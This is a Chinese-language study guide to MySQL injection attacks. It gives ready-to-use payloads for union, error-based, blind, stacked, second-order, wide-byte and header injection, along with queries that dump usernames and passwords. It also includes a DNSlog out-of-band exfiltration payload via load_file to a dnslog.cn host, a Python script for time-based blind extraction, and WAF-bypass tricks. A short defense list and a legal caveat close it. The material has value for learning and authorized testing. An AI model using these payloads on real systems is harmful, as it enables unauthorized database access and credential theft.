MYSQL 注入总结笔记整理
字数 1590 2025-08-10 21:22:35
MySQL注入攻击全面指南
1. MySQL基础查询语句
1.1 信息查询基础
-- 查库
SELECT schema_name FROM information_schema.schemata;
-- 查表
SELECT table_name FROM information_schema.tables WHERE table_schema='security';
-- 查列
SELECT column_name FROM information_schema.columns WHERE table_name='users';
-- 查字段
SELECT username,password FROM security.users;
1.2 常用函数
字符串处理函数
left(a,b): 从左侧截取a的前b位substr(a,b,c)/substring(a,b,c): 从a的b位置开始截取c个字符mid(a,b,c): 类似substr,从a的b位置开始截取c个字符concat(a,b,...): 连接字符串concat_ws(sep,a,b,...): 用分隔符连接字符串group_concat(a): 将多行结果合并为一行
比较与匹配函数
regexp: 正则匹配like: 简单模式匹配ascii(): 返回字符的ASCII码ord(): 同ascii()length(): 返回字符串长度
数学与逻辑函数
floor(): 向下取整rand(): 生成随机数(0-1)count(): 计数if(a,b,c): 条件判断
系统函数
system_user(): 当前系统用户user(): 当前登录用户current_user(): 当前登录用户database(): 当前使用的数据库version(): MySQL版本信息@@datadir: MySQL安装路径@@version_compile_os: 操作系统信息
2. 注入技术分类
2.1 联合查询注入(Union Based)
原理:利用UNION SELECT合并查询结果
步骤:
- 判断注入点
- 确定列数:
order by n - 确定回显位置
- 构造UNION查询
示例:
?id=1' order by 3 --+ -- 判断列数
?id=-1' union select 1,2,database() --+ -- 获取当前数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ -- 获取所有表名
2.2 报错注入(Error Based)
2.2.1 BIGINT溢出报错
select ~0+!(select*from(select user())x);
2.2.2 exp()函数报错
select exp(~(select*from(select user())x));
2.2.3 XPath报错
- extractvalue():
and extractvalue(null,concat(0x7e,(payload),0x7e))
- updatexml():
and 1=(updatexml(1,concat(0x7e,(payload)),1))
2.2.4 双查询注入
?id=-1' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a --+
2.3 盲注(Blind Injection)
2.3.1 布尔盲注
?id=1' and length(database())=8 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
?id=1' and left(database(),1)='s' --+
2.3.2 时间盲注
?id=1' and if(length(database())=8,sleep(10),1) --+
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10)) --+
2.4 堆叠注入(Stacked Queries)
?id=1'; show tables --+
?id=1'; insert into users(id,username,password) values (88,'aa','bb') --+
2.5 二次注入(Second Order)
- 注册用户名为
admin'#的账号 - 修改密码时,SQL语句变为:
UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass'
2.6 DNSlog外带注入
and (select load_file(concat('\\',(select hex(user())),'xxxxxx.dnslog.cn/1.txt')))
2.7 宽字节注入
?id=-1%df' union select 1,2,3 --+
2.8 HTTP头注入
- Cookie注入
- X-Forwarded-For注入
- User-Agent注入
- Referer注入
2.9 Between注入
select * from users where id=1 and substr(username,1,1) between 'a' and 't';
2.10 Order By注入
order by (select 1 from (select count(*),concat((select version()),floor(rand(0)*2))x from information_schema.tables group by x)a)
3. 防御措施
- 使用预编译语句(Prepared Statements)
- 对输入进行严格的过滤和转义
- 最小权限原则
- 关闭错误回显
- 使用WAF(Web应用防火墙)
- 定期更新和修补系统
4. 工具推荐
- SQLmap - 自动化SQL注入工具
- Burp Suite - 用于手动测试和抓包
- DNSlog平台 - 用于外带注入
- HackBar - 浏览器插件辅助测试
5. 实战案例
5.1 联合注入完整流程
- 判断注入点:
?id=1' -- 查看是否有报错
- 确定列数:
?id=1' order by 3 --+ -- 尝试不同数字直到报错
- 确定回显位置:
?id=-1' union select 1,2,3 --+
- 获取数据库信息:
?id=-1' union select 1,2,database() --+
- 获取所有表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
- 获取字段名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
- 获取数据:
?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from users --+
5.2 报错注入示例
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
5.3 时间盲注脚本思路
import requests
import time
url = "http://example.com/vuln.php?id=1"
# 测试数据库名长度
for i in range(1,20):
payload = "' and if(length(database())={},sleep(5),0) --+".format(i)
start = time.time()
requests.get(url+payload)
if time.time() - start > 5:
print("Database length:", i)
break
# 逐字符猜解数据库名
db_name = ""
for i in range(1,9): # 假设已知长度为8
for c in range(32,127):
payload = "' and if(ascii(substr(database(),{},1))={},sleep(2),0) --+".format(i,c)
start = time.time()
requests.get(url+payload)
if time.time() - start > 2:
db_name += chr(c)
print(db_name)
break
6. 高级技巧
- 十六进制编码绕过过滤:
?id=-1' union select 1,2,group_concat(concat_ws(0x7e7e,username,password)) from users --+
- 注释符使用:
--+--#
- 逻辑运算符:
and/or优先级&&/||替代
- 绕过WAF技巧:
- 大小写混合
- 内联注释
/*!...*/ - 空白符干扰
- 编码混淆
7. 注意事项
- 法律合规性:仅在授权范围内测试
- 影响评估:避免使用DROP等破坏性语句
- 数据备份:测试前确保数据安全
- 测试环境:优先在本地或授权环境测试
- 记录日志:详细记录测试过程和结果
通过本指南,您应该能够全面了解MySQL注入的各种技术和防御方法。请始终记住,这些知识仅应用于合法的安全测试和研究目的。